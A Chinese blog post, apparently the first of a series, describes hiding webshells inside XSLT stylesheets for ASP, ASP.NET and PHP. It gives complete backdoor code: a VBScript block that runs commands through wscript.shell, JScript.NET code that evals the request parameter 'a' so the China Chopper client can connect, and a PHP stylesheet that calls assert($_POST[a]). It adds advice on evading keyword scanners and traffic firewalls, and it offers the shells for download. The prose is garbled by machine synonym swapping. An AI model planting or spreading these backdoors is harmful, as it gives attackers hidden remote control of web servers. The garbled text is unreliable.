想来想去还是归纳成一个系列吧,诚然说在此刻各种讲求高峻上的期间还谈网站shell真实是一种没什么咀嚼的做法。
基本上也便是一些新型网站shell、不凡环境下的不凡独霸、不凡网站shell的菜刀直达脚本等,外带一些对应的分析。
先挖个坑,至于填坑么……看情况吧。
0x01 xml与xslt
相信全部人对xml都不目生,其被广泛的独霸于数据数据传输、保留与序列化中,是一种很是强大的数据款式。
强大必然伴随着烦复,xml在发展中派生出了一系列尺度,包括DTD、XSD、XDR、XPATH以及XSLT等。
XSLT全称为拓展名堂表转换措辞,其沾染是经过指定的规定,将一个xml文档转换为别的的模式。指定的规定由别的一个xml文件描画,这个文件通常为xsl后缀。xsl语法绝对较为烦复,轮廓或许参考msdn中“XSLT 参考”一节。
为了对方针节点停止处理,XSLT提供了一系列用于处理XML节点的内置函数,以下是一个详细的转换示例:
xml:
Default12 | <?xml version="1.0"?><root>123</root> |
xsl:
Default123456 | <?xml version='1.0'?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/root"> <xsl:value-of select="string(.)"/> </xsl:template></xsl:stylesheet> |
xsl文件中xsl:template节点描画了娶亲规定,其match属性为一个XPATH,泄漏表现娶亲的xml节点。xsl:value-of描画了转换规定,会将对前一步所娶亲的节点作为参数传入select属性指定的函数中,参数.泄漏表现所娶亲的节点。
对以上xml和xsl停止转换,将输入以下了局:
Default1 | <?xml version="1.0" encoding="UTF-16"?>123 |
在有些情况下,内置函数无奈惬意全部的必要。为了拓展XSLT的听命,绝大局部XSL转换器都提供了函数拓展听命。依照转换器的差距,其语法也有所差别。
一个对象的烦复性与安然性屡屡是成正比的。造孽听命的非预期独霸是漏洞,造孽听命的恶意独霸则或许成为潜伏的后门。而xml的xsl转换正是这样一个或许的后门。
0x02 asp与xml
asp中最思空见贯的便是vbscript和jscript两种措辞,可经过创建MSXML2.DOMDocument COM对象失去一个xml分析器。
经过oleview或许看到,此对象暗中了一个transformNode门径来停止XSL转换:
详细的挪用代码大概马虎如下:
Default12345 | set xmldoc= Server.CreateObject("MSXML2.DOMDocument")xmldoc.loadxml(xml)set xsldoc= Server.CreateObject("MSXML2.DOMDocument")xsldoc.loadxml(xslt)response.write xmldoc.TransformNode(xsldoc) |
参考msdn得悉,自定义函数必需位于msxsl:script元素内,比拟示例不难得到以下xsl:
Default123456789 | <?xml version='1.0'?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> <msxsl:script language="vbscript" implements-prefix="zcg"> <![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]> </msxsl:script> <xsl:template match="/root"> <xsl:value-of select="zcg:xml(string(.))"/> </xsl:template></xsl:stylesheet> |
在第二行中,xmlns:msxsl为自定义函数块的命名空间,xmlns:zcg为自定义函数的命名空间与前缀,或许随便命名。
第三行的msxsl:script声晓畅一个脚本块,其language属性指定了要操作的脚本措辞,implements-prefix则与前面xmlns:zcg这个命名空间前缀绝对应。
在第七行经过zcg:xml(string(.))挪用了这个自定义函数,由于自定义函数只能传入字符串、数字、日期等标量,以及XML的一系列对象,所以先经过string内置函数转换为字符串从而失去text,再传入函数中。一样的,由于Response、Server等对象是asp内置的,所以既不克不及在自定义函数中访问,也不克不及传递给自定义函数,全部的数据传递都是经过字符串停止的。
脚本块的函数则是简单的实验-返回,其返回值会更动所娶亲的节点的模式,所以上述xsl的沾染便是:将指定xml中/root节点的文本作为呼吁实验,并返回了局。
对以下xml停止转换,其返回了局如图:
Default12 | <?xml version="1.0"?><root>cmd /c dir</root> |
可见战败实验了呼吁,其了局中的不凡字符都被转换成为了xml实体,需要进一步停止处理。
末了,在早年某个IE漏洞中,老外所用的DVE便是操作上述门径来挪用组件实验呼吁,所以免杀成果已经不有包管了。
0x03 .net与xml
xml或许称为.net的中心之一,[System.Xml]System.Xml.Xsl.XslCompiledTransform类和[System.Xml]System.Xml.Xsl.XslTransform类提供了XSL转换听命。
XslTransform属于已弃用的类,其挪用门径如下:
Default1234567 | XmlDocument xmldoc=new XmlDocument();xmldoc.LoadXml(xml);XmlDocument xsldoc=new XmlDocument();xsldoc.LoadXml(xslt);XslTransform xt = new XslTransform();xt.Load(xsldoc);xt.Transform(xmldoc, null); |
由于此类不克不及引入额定的措施集,所以并不有什么操作价值。
XslCompiledTransform为微软保举操作的类,其挪用门径与XslTransform大概马虎相同:
Default1234567 | XmlDocument xmldoc=new XmlDocument();xmldoc.LoadXml(xml);XmlDocument xsldoc=new XmlDocument();xsldoc.LoadXml(xslt);XslCompiledTransform xct=new XslCompiledTransform();xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());xct.Transform(xmldoc,null,new MemoryStream()); |
由于asp.net提供了动静变量[System.Web]System.Web.HttpContext::Current用于泄漏表现当前的HTTP恳求上下文,所以不需要像asp中停止字符串传递。布局以下xsl停止测验考试:
Default123456789 | <?xml version='1.0'?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> <msxsl:script language="JScript" implements-prefix="zcg"> function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');} </msxsl:script> <xsl:template match="/root"> <xsl:value-of select="zcg:xml()"/> </xsl:template></xsl:stylesheet> |
访问之,可得到一个不对消息:
Default1 | 未能找到典型“System.Web.HttpContext.Current.Request.Item”,可否短少措施集引用? |
很大白短少了措施集引用,查找msdn得到阐明:
Default12345 | 默认情况下引用如下两个措施集: System.dll System.Xml.dll Microsoft.VisualBasic.dll(假如脚本措辞为 VB)或许操作 msxsl:assembly 元素导入其他措施集。 |
因此削减WebShell所必需的几个措施集,得到:
Default12345678910111213 | <?xml version='1.0'?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> <msxsl:script language="JScript" implements-prefix="zcg"> <msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> <msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> <msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> <msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');} </msxsl:script> <xsl:template match="/root"> <xsl:value-of select="zcg:xml()"/> </xsl:template></xsl:stylesheet> |
间接访问已经不有不对,但操作菜刀连贯时爆出不对:
Default1 | 未申明变量“Response” |
很了了,菜刀提交的语句两头接挪用了Response。由于jscript.net中eval的上下文与挪用方同享变量且存在抗衡称呼,手动削减菜刀所需的Request、Response、Server,或许得到以下xslt:
Default12345678910111213 | <?xml version='1.0'?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> <msxsl:script language="JScript" implements-prefix="zcg"> <msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> <msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> <msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> <msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();} </msxsl:script> <xsl:template match="/root"> <xsl:value-of select="zcg:xml()"/> </xsl:template></xsl:stylesheet> |
此时可操作菜刀间接停止连贯,听命与aspx(eval)完全相同:
末了要留神:xml的内嵌脚本块编译需要FullTrust信赖等第,在安然模式下不克不及运转。诚然,安然模式下正常的aspx一句话也不克不及运转,所以切实不克不及算是一个毛病。
0x04 php与xml
在php的官方文档中搜寻xsl,将间接定位到XSLTProcessor类,在页面中或许看到很大白的registerPHPFunctions门径。
门径的示例便是一个残缺的挪用过程,将函数批改为assert并略作精简,或许得到以下xsl:
Default123456 | <?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl"> <xsl:template match="/root"> <xsl:value-of select="zcg:function('assert',string(.))"/> </xsl:template></xsl:stylesheet> |
第二行的http://php.net/xsl这个命名空间URI泄漏表现php专用的xsl函数否决,第四行的zcg:function(‘assert’,string(.))泄漏表现将娶亲节点的文本作为参数传递给php的assert函数。
为了贯注避免xml的本义标题,停止一次assert嵌套,或许得到xml:
Default1 | <root>assert($_POST[a]);</root> |
由于php并不有上下文的观念,全部的代码都是在抗衡代码空间中实验,在xsl中可间接访问GPCS,因此或许间接操作菜刀连贯:
一样的听命完备,与传统的php一句话完全相同。
美中不敷的是这个听命默认并不有安排,windows上需要批改php.ini启用php_xsl.dll拓展;linux上需要编译时指定–with-xsl或额定安排php5-xsl包。鉴于php的灵便性,此类shell除潜伏性较高外并不有太大需要。
0x05 总结与其他
在上述基于xslt转换的网站shell中,全部的迟钝挪用都因此字符串模式存在于xml中,贯注避免了基于关键字的网站shell查杀。同时,由于xslt是一项正常的听命,对xsl转换器所提供的门径停止查杀、禁用很不实际。好比:msxml组件被大量的琐细用于长途文件下载或xmlrpc,基本上是不或许禁用的。
末了,效能端与客户真个交互本质上是经过xml停止的,所以或许假装成xmlrpc/soap等协定,借助xml的本义将迟钝字符本义为实体字符,以避让基于流量分析的防火墙。好比:将cmd更动为等效的实体字符cmd等。
除了网站shell外,xsl转换还有其他或许的独霸点。xml否决自动导入xsl,其语法为:
Default1 | <?xml-stylesheet type="text/xsl" href="http://host/template.xsl"?> |
但除了涉猎器以外,还没有创作发明有哪一个分析器会自动分析这个预处理呼吁,不过作为一种测试才略也何尝不可,假如战败的话则很有或许是一个代码实验漏洞。
某些效能端措施答应客户端提交一个xsl停止自定义,此时若提交一个收罗内嵌脚本的恶意xsl一样或许达到代码实验的方针。
0x06 参考文档
Bypassing Windows 8.1 Mitigations using Unsafe COM Objects(老外借助xslt转换的DVE独霸):http://www.contextis.com/resources/blog/windows-mitigaton-bypass/
php xsl:http://php.net/manual/zh/book.xsl.php
XML尺度参考材料:https://msdn.microsoft.com/zh-cn/library/ms256177.aspx
msxsl:script元素:https://msdn.microsoft.com/zh-cn/library/ms256042.aspx
XSLT 参考:https://msdn.microsoft.com/zh-cn/library/ms256069.aspx
XSLT 转换:https://msdn.microsoft.com/zh-cn/library/14689742.aspx
附件内是文章所述的三个shell,此中asp只有呼吁实验听命,aspx和php均可间接用菜刀连贯,密码是a。
附件下载:xml.zip
baidu网盘:http://pan.baidu.com/s/1bnq9I8J
解压密码见注释。
【via@草泥马之家】